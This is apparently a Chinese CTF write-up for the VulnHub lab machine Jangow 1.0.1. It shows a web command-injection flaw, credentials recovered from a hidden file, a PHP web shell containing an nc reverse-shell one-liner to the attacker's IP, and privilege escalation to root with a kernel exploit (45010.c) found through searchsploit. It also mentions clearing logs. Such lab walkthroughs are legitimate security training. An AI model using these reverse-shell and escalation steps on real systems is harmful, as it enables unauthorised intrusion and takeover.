靶机地址:Jangow: 1.0.1 ~ VulnHub
渗透过程:
kali ip:192.168.56.104,使用arp-scan -l查看到靶机ip192.168.56.118
对靶机进行端口探测,发现了21、80端口
访问80端口,发现site目录
点击进去后,发现主页,在主页上有很多按钮,尝试去点击,在busque发现了有命令执行漏洞
尝试输入ls、pwd、查看passwd,确定用户、查看是否存在敏感文件
在/var/www/html文件下发现了隐藏的敏感文件,里面包括了用户名和密码
$username = "jangow01";
$password = "abygurl69"
下一步就是getshell,尝试输入nc反弹回靶机一个shell
没有反弹,反弹失败,那就往这个目录下写一个shell,然后利用蚁剑或者访问这个文件,来反弹shell
echo '<?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.104 443%20%20 >/tmp/f");?>' > xiaoli.php
经过多次尝试,只能使用443端口,进行反弹,应该是白名单,其他的都不允许
获得shell后,下一步就是要进行提权,首先尝试看有没有suid的提权,sudo的提权,发现均没有,那就收集一波服务器信息,发现了发行版本,去kali本地搜索下看是否有exp
searchsploit kernel 4.4.0-31
找到了个本地提权的exp
复制到项目文件中,并且编译
利用ftp服务上传exp:xiaoli,之前在隐藏文件中发现了用户名和密码,利用ftp登录后上传exp和这个45010.c文件
上传成功后,利用python建立个交互式shell,具体代码,之前已经写了很多次了,这里就不写了
然后切换至jangow01用户,给编译好的exp赋权,但是执行出错了,说是版本的问题。
那没事,重新编译下45010.c,并且赋权,执行exp
获得root权限!拿到了flag da39a3ee5e6b4b0d3255bfef95601890afd80709
渗透结束!
总结:
最后总结一下思路
1、首先确定靶机ip,对靶机开放的端口进行探测
2、如果开放web服务,优先访问web端,在web端进行一系列的收集
3、看看是否存在常规的漏洞,可以查看源代码,观察url,如果都没有什么发现,进行目录爆破,目录遍历,找寻相关的后台或者robots.txt文件,找寻敏感文件。
4、如果有漏洞,就开始获取shell,一般是进行反弹至本地或向web端上传一个马,用蚁剑去连接等。
5、获取shell后,进行提权,目前接触到的,suid、sudo滥用、内核提权、本地提权、现有exp
6、提权到了root,获取flag
7、清楚操作记录,/var/log也可以不用做,靶机而已!
先总结这些吧!